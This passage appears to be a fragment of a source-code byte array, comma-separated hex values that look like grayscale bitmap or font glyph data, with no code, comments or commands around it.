0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD6, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xD6, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xD6, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD6, 0xFF, 0xCC,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD6, 0xFF, 0xCC, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD6, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xD6, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xD6, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD6, 0xFF,
0xCC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x3C, 0x3C, 0x3C, 0x3C, 0xE0, 0xFF, 0xD8, 0x3C, 0x3C,
0x3C, 0x3C, 0x13, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x94,
0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x97, 0x41, 0xAC, 0xAC,
0xAC, 0xAC, 0xAC, 0xAC, 0xAC, 0xAC, 0xAC, 0xAC, 0xAC, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0xBF, 0xC7, 0x6A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23,
0xFF, 0xFF, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xFF,
0xFF, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xFF, 0xFF,
0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xFF, 0xFF, 0x88,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x23, 0xFF, 0xFF, 0x88, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0xCB, 0xCB, 0xCB, 0xCB, 0xCB, 0xD3, 0xFF, 0xFF, 0xF1, 0xCB, 0xCB,
0xCB, 0xCB, 0x04, 0x42, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x05, 0x42, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x05, 0x07, 0x1D, 0x1D, 0x1D, 0x1D, 0x38, 0xFF, 0xFF, 0xFF, 0x96, 0x1D, 0x1D, 0x1D, 0x1D, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x7B, 0xFF, 0xFF, 0xFF, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x01, 0xDE, 0xFF, 0xFF, 0xFF, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x44, 0xFF, 0xFF, 0xFF, 0xFF, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xA8, 0xFF, 0xFF, 0xFF, 0xFF, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17,
0xF9, 0xFF, 0xDA, 0xFF, 0xFF, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA6, 0xFF,
0xFF, 0x6E, 0xFF, 0xFF, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0xFF, 0xFF, 0xDC,
0x25, 0xFF, 0xFF, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xE4, 0xFF, 0xFF, 0x71, 0x23,
0xFF, 0xFF, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9A, 0xFF, 0xFF, 0xDA, 0x09, 0x23, 0xFF,
0xFF, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0xFF, 0xFF, 0xFE, 0x3C, 0x00, 0x23, 0xFF, 0xFF,
0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xFD, 0xFF, 0x92, 0x00, 0x00, 0x23, 0xFF, 0xFF, 0x88,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x71, 0xDE, 0x0B, 0x00, 0x38, 0x7B, 0xFF, 0xFF, 0x88, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x0C, 0xFF, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0xFF, 0xFF, 0xF8, 0x0E, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0xA5, 0x70, 0x1D, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x3B, 0xC7, 0xFF, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x53, 0xFF, 0xFF, 0x7E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x20, 0xFF, 0xFF, 0xA8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xEC, 0xFF, 0xD3, 0x00, 0x00, 0x00, 0x00, 0x10, 0x7D, 0x4C, 0x00, 0x00, 0x00, 0x00, 0x00,
0xB9, 0xFF, 0xF9, 0x04, 0x00, 0x12, 0x83, 0xF0, 0xFF, 0xE8, 0x10, 0x00, 0x00, 0x00, 0x00, 0x86,
0xFF, 0xFF, 0x3E, 0x88, 0xF2, 0xFF, 0xFF, 0xFF, 0xFF, 0x47, 0x00, 0x00, 0x00, 0x00, 0x53, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF3, 0x08, 0x00, 0x00, 0x00, 0x30, 0xB2, 0xFF, 0xFF,
0xFF, 0xFF, 0xEC, 0x9F, 0xFF, 0xFF, 0xA8, 0x00, 0x00, 0x46, 0xBB, 0xFF, 0xFF, 0xFF, 0xFF, 0xF7,
0x7F, 0x0E, 0x78, 0xFF, 0xFF, 0x54, 0x00, 0x6F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD8, 0x00,
0x00, 0xC8, 0xFF, 0xF5, 0x0A, 0x00, 0x35, 0xFF, 0xFF, 0xFC, 0x9C, 0xBA, 0xFF, 0xFD, 0x0B, 0x1A,
0xFE, 0xFF, 0xAC, 0x00, 0x00, 0x01, 0xE3, 0xA9, 0x26, 0x00, 0x71, 0xFF, 0xFF, 0x3A, 0x68, 0xFF,
0xFF, 0x58, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x44, 0xFF, 0xFF, 0x6A, 0xAD, 0xFF, 0xF7,
0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xFF, 0xFF, 0x9B, 0x29, 0xDC, 0xB0, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0xFF, 0xCC, 0x00, 0x14, 0x2B, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xFF, 0xF8, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x94, 0xFF, 0xFF, 0x2D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0x5E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x3C, 0xFF, 0xFF, 0x8F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0xFF, 0xFF, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xE3, 0xFF, 0xEF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xB7, 0xFF, 0xFF, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x8B, 0xFF, 0xFF, 0x45, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4F, 0x9C, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x71, 0x79, 0x79, 0x79, 0x79, 0x79,
0x79, 0x6A, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x0B, 0x00,
0x00, 0x00, 0x00, 0x00, 0x6F, 0x77, 0x77, 0x77, 0x77, 0xD2, 0xFF, 0xFF, 0x0B, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0xFF, 0xFF, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0xFF, 0xFF, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x98, 0xFF, 0xFF, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x98, 0xFF, 0xFF, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98,
0xFF, 0xFF, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0xFF, 0xFF,
0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0xFF, 0xFF, 0x0B, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0xFF, 0xFF, 0x0B, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0xFF, 0xFF, 0x0B, 0x00, 0x00, 0x00, 0x7A, 0xF6,
0xF6, 0xF6, 0xF6, 0xF6, 0xF6, 0xFC, 0xFF, 0xFF, 0xF7, 0xF6, 0xF6, 0xDA, 0x7F, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE2, 0x78, 0xF2, 0xF2, 0xF2, 0xF2, 0xF2,
0xF2, 0xF2, 0xF2, 0xF2, 0xF2, 0xF2, 0xF2, 0xD6, 0x6D, 0xDB, 0xDB, 0xDB, 0xDB, 0xDB, 0xDB, 0xDB,
0xDB, 0xDB, 0x4C, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x59, 0x7F, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x59, 0x06, 0x0D, 0x0D, 0x0D, 0x0D, 0x0D, 0x0D,
0x5C, 0xFF, 0xFF, 0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0xFF, 0xFF, 0x59, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0xFF, 0xFF, 0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x52, 0xFF, 0xFF, 0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0xFF, 0xFF, 0x59,
0x16, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x59, 0x16, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x59, 0x14, 0xE8, 0xE8, 0xE8, 0xE8, 0xE8, 0xE8, 0xF0, 0xFF, 0xFF,
0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0xFF, 0xFF, 0x59, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x52, 0xFF, 0xFF, 0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0xFF,
0xFF, 0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0xFF, 0xFF, 0x59, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x52, 0xFF, 0xFF, 0x59, 0x73, 0xE9, 0xE9, 0xE9, 0xE9, 0xE9, 0xE9, 0xF0,
0xFF, 0xFF, 0x59, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x59, 0x7A, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x52, 0xFF, 0xFF, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1A, 0x53, 0x53, 0x0A, 0x00,
0x00, 0x00, 0x00, 0x00, 0x08, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4F, 0xE1, 0x6B, 0x00, 0x00, 0x0F, 0xD2, 0xA8, 0x5F, 0x00, 0x11, 0x67, 0x00, 0xD3, 0xFF, 0xB6,
0x00, 0x00, 0x21, 0xFF, 0xFF, 0xAC, 0x3F, 0xE8, 0xFC, 0x11, 0x8C, 0xFF, 0xF7, 0x0A, 0x00, 0x31,
0xFF, 0xFF, 0x94, 0x5E, 0xFF, 0xFF, 0x56, 0x41, 0xFF, 0xFF, 0x4C, 0x00, 0x41, 0xFF, 0xFF, 0x7B,
0x17, 0xFE, 0xFF, 0x9F, 0x05, 0xF1, 0xFF, 0x97, 0x00, 0x51, 0xFF, 0xFF, 0x62, 0x00, 0xCB, 0xFF,
0xE6, 0x00, 0xAB, 0xFF, 0xE2, 0x00, 0x61, 0xFF, 0xFF, 0x4A, 0x00, 0x82, 0xFF, 0xFF, 0x2F, 0x60,
0xFF, 0xDE, 0x09, 0x73, 0xFF, 0xFF, 0x31, 0x00, 0x39, 0xFF, 0xFF, 0x77, 0x17, 0x92, 0x0D, 0x00,
0xA5, 0xFF, 0xFF, 0x19, 0x00, 0x02, 0xED, 0xFC, 0x6E, 0x00, 0x00, 0x00, 0x00, 0xE1, 0xFF, 0xFD,
0x03, 0x00, 0x00, 0x65, 0x2B, 0x00, 0x00, 0x00, 0x00, 0x1D, 0xFF, 0xFF, 0xDA, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0xFF, 0xFF, 0x98, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x95, 0xFF, 0xFF, 0x54, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B,
0xE9, 0xFF, 0xFD, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x79, 0xFF, 0xFF, 0xB9,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xEE, 0xFF, 0xFF, 0x4B, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0xFF, 0xFF, 0xDC, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x4B, 0xF7, 0xFF, 0xFF, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5A, 0xFB, 0xFF,
0xFF, 0xBB, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x67, 0xFD, 0xFF, 0xFF, 0xF1, 0x1E, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9D, 0xFF, 0xFF, 0xF5, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0C, 0xD9, 0xEB, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x25, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1D, 0xC2, 0x0E, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xC2, 0xFF, 0xAA, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x67, 0xFF, 0xFF, 0xFF, 0x6A, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0xF2, 0xFF, 0xFF, 0xF8, 0x24, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0xFF, 0xFF, 0xFF, 0xB2, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB4, 0xFF, 0xFF, 0xFF, 0x47, 0x00, 0x00, 0x00, 0x00,
0x00, 0x17, 0x00, 0x00, 0x00, 0x00, 0x1E, 0xF5, 0xFF, 0xFF, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,
0xE0, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x7A, 0xFF, 0xC7, 0x05, 0x00, 0x00, 0x00, 0x00, 0x29, 0xFF,
0xFF, 0x81, 0x00, 0x00, 0x00, 0x06, 0xBA, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6F, 0xFF, 0xFF,
0xEA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB6, 0xFF, 0xFF, 0xAB,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xF5, 0xFF, 0xFF, 0x69, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0xFF, 0xFF, 0xFF, 0x27, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0xFF, 0xFF, 0xD7, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0xFF, 0xFF, 0xFF, 0x71, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x04, 0xD7, 0xFF, 0xFF, 0xF8, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xFF, 0x9C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x30, 0xEC, 0xFF, 0xFF, 0xF1, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F,
0xF1, 0xFF, 0xFF, 0xFF, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0xF7, 0xFF,
0xFF, 0xFF, 0xC0, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2A, 0x8F, 0xFC, 0xFF, 0xFF, 0xFF,
0xD6, 0x10, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x62, 0xC5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDE, 0x20,
0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA8, 0x0F, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x15, 0xFF, 0xFF, 0xFF, 0xFF, 0xF4, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xD5, 0xFF, 0xDA, 0x74, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x58, 0x44, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x12, 0x1F, 0x1C, 0x00,
0x00, 0x43, 0x90, 0x9D, 0xAA, 0xB7, 0xC4, 0xD1, 0xDE, 0xEB, 0xF8, 0xFF, 0xFF, 0xFF, 0xF7, 0x34,
0x00, 0x77, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE2,
0x15, 0x6C, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x97, 0x4E, 0xC9, 0xC1, 0xB9, 0xB0, 0xA8, 0xA0, 0x97, 0x8F, 0x86, 0x7E, 0x95, 0xFF, 0xFF, 0xFF,
0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xEC,
0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x77, 0xB8, 0xB8, 0x35, 0x01, 0xDF, 0xFF, 0xFF, 0x8C,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA6, 0xFF, 0xFF, 0x65, 0x5D, 0xFF, 0xFF, 0xFC, 0x20,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA6, 0xFF, 0xFF, 0x73, 0xE7, 0xFF, 0xFF, 0xA5, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA6, 0xFF, 0xFF, 0xF2, 0xFF, 0xFF, 0xFE, 0x2D, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA6, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA0, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA6, 0xFF, 0xFF, 0xFF, 0xFF, 0xF5, 0x1B, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAA, 0xFF, 0xFF, 0xFF, 0xFF, 0x6B, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB9, 0xFF, 0xFF, 0x70, 0x91, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC8, 0xFF, 0xFF, 0x45, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0xFF, 0xFF, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xF3, 0xFF, 0xFF, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2B, 0xFF, 0xFF, 0xFB, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0xFF, 0xFF, 0xCE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9E, 0xFF, 0xFF, 0x99, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xF4, 0xFF, 0xFF, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x6D, 0xFF, 0xFF, 0xFB, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x0A, 0xDD, 0xFF, 0xFF, 0xAD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x9A, 0xFF, 0xFF, 0xFF, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4B, 0xFF, 0xFF, 0xFF, 0xCE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x36, 0xF7, 0xFF, 0xF6, 0x2B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x5B, 0xFF, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4E, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x27, 0xFE, 0x93, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0xFF, 0xFF, 0x91, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x0C, 0xF1, 0xFF, 0xFF, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x6A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
0xD6, 0xFF, 0xFF, 0xD9, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0xFF, 0xFF,
0xFF, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xE6, 0xFF, 0xFF, 0xD7, 0x04,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x85, 0xFF, 0xFF, 0xFF, 0x4F, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xF7, 0xFF, 0xFF, 0xC2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0xB8, 0xFF, 0xFF, 0xFF, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x7A, 0xFF, 0xFF, 0xFF, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0xFC, 0xFF,
0xFF, 0xFF, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xE5, 0xFF, 0xFF, 0xFF, 0xFF,
0xE8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xCB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE8, 0x00,
0x00, 0x00, 0x00, 0x00, 0x0E, 0xC8, 0xFF, 0xFF, 0xFF, 0xD7, 0xFF, 0xFF, 0xE8, 0x00, 0x00, 0x00,
0x00, 0x0C, 0xC5, 0xFF, 0xFF, 0xFF, 0xDE, 0x34, 0xFF, 0xFF, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x70,
0xFF, 0xFF, 0xFF, 0xF6, 0x32, 0x23, 0xFF, 0xFF, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x18, 0xF7, 0xFF,
0xF2, 0x3E, 0x00, 0x23, 0xFF, 0xFF, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x95, 0xED, 0x35, 0x00,
0x00, 0x23, 0xFF, 0xFF, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x27, 0x00, 0x00, 0x00, 0x23,
